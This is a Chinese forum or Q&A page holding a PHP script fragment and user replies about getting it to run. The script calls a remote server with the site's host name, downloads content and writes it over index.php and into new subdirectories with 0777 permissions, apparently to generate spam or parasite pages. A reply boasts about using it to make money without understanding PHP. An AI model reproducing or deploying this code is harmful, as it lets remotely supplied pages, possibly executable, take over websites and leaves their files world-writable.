时间:2021-07-01 10:21:17 帮助过:5人阅读
页面在生成中稍等......");}$ml = $_SERVER['REQUEST_URI'];$str= explode("/", $ml);$Quantity = count($str)-1; //层数$host_name = str_replace("index.php", "", "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);if ($Quantity<5 && $Quantity>0) {	$Remote_directory = $Remote_server."/directory.php?type=index.php&host=".$host_name."&directory=".$Branch_directory;	$Content_directory = getHTTPPage($Remote_directory);		$Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);	$Branch_directory= explode(".",$Branch_directory);	echo $Content_mb;	for ($i=0;$i < count($Branch_directory); $i++) {		$check = CFolder("./".$Branch_directory[$i]."/");		if ($check == 1) {			WriteIn("./".$Branch_directory[$i]."/index.php",$NewFile_content);		}	}	WriteIn("./index.php",$Content_mb);	chmod("index.php",0777);	echo "";	exit();} else {	$Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);	WriteIn("./index.php",$Content_mb);	chmod("index.php",0777);	header("Location: index.php");	exit();}  function getCode($iCount) {//取随机混合字母数字    	$arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789";	$code="";    for ( $i = 0; $i < $iCount; $i++ )  	{ 		$code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  	}  	return $code; }function Digital($iCount) {//取随机数字    $arrChar = "0123456789";	$code="";    for ( $i = 0; $i < $iCount; $i++ )  	{ 		$code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  	}  	return $code; }function sj_int($min, $max) { //取随机数字	return mt_rand($min, $max);}function WriteIn($testfile, $msg) {	if (empty($msg)) {		echo "内容为空";		return;	}		$fp = @fopen($testfile,"w");	fwrite($fp,$msg);	fclose($fp);}function getFileCont($testfile) {	$restr = '';	$fp = @fopen($testfile,"r");	if ($fp) {		while($line=fgets($fp,1024)) $restr.=$line;		fclose($fp);	}	return $restr;}function CFolder($Filepath) {  if (!file_exists($Filepath)) {	mkdir($Filepath, 0777);	return 1;  }  return 0;}function getHTTPPage($url) {	$opts = array(	  'http'=>array(		'method'=>"GET",		'header'=>"User-Agent: aQ0O010O"	  )	);	$context = stream_context_create($opts);	$html = @file_get_contents($url, false, $context);	if (empty($html)) {		exit("服务器获取文件内容出错
");	}		return $html;} function GetHtml($url) {	return getHTTPPage($url);}   
按照那个层数标注的地方 改了也没反应啊
还是自己摸索出来了,原来层数是哪个数字 5 ,标记错了, 屌丝也有逆袭日 【完全不懂PHP,只会用,看我赚大钱吧】